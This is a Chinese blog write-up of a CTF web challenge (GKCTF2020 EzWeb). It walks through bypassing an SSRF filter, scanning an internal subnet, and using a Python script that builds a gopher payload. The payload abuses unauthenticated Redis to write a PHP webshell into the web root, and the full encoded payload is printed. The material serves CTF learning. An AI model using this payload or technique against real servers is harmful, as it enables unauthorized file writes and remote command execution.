[GKCTF2020]EZ三剑客-EzWeb

本文详细描述了一次针对内网服务器的SSRF攻击过程,通过curl、gopher协议和Redis漏洞,成功在目标主机上执行命令并生成shell。重点展示了如何利用不同协议和服务端口进行渗透,并利用Redis的配置漏洞进行文件操作。
摘要由CSDN通过智能技术生成

打开题目,直接看到一个表单
在这里插入图片描述
查看页面源代码,发现有一个注释
在这里插入图片描述
提交这个secret参数,看到网络配置信息
在这里插入图片描述
尝试访问了一下这个内网ip 173.13.144.10,发现回显了本页面,因此猜测可能是内网中有内容。
猜测可能存在是ssrf
给了ip,想一想也知道这应该是个ssrf的题。我们试一下file协议读文件:
在这里插入图片描述

发现file协议被过滤了,我们可以尝试绕过:file:/、file:<空格>///
在这里插入图片描述

得到源码:

<?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['submit'])){
		$url = $_GET['url'];
		//echo $url."\n";
		if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
		{
			//var_dump($match);
			die('别这样');
		}
		curl($url);
}
if(isset($_GET['secret'])){
	system('ifconfig');
}
?>

扫描一下c段,发现存在173.13.144.12,存在一些端口
在这里插入图片描述
说让试试不同的端口(服务)。应该是猜测6379端口(redis)或3306端口(mysql)。发现是6379端口。
再次抓包跑字典:
在这里插入图片描述
扫描到6379端口,redis服务,我们利用redis未授权访问的漏洞,在根目录下生成个文件shell.php
这里的dict协议也被过滤了,所以得用gopher协议。大神的脚本:

import urllib
protocol="gopher://"
ip="173.13.144.12"      // 运行有redis的主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

运行上面脚本得到ssrf的payload:
gopher://173.13.144.12:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值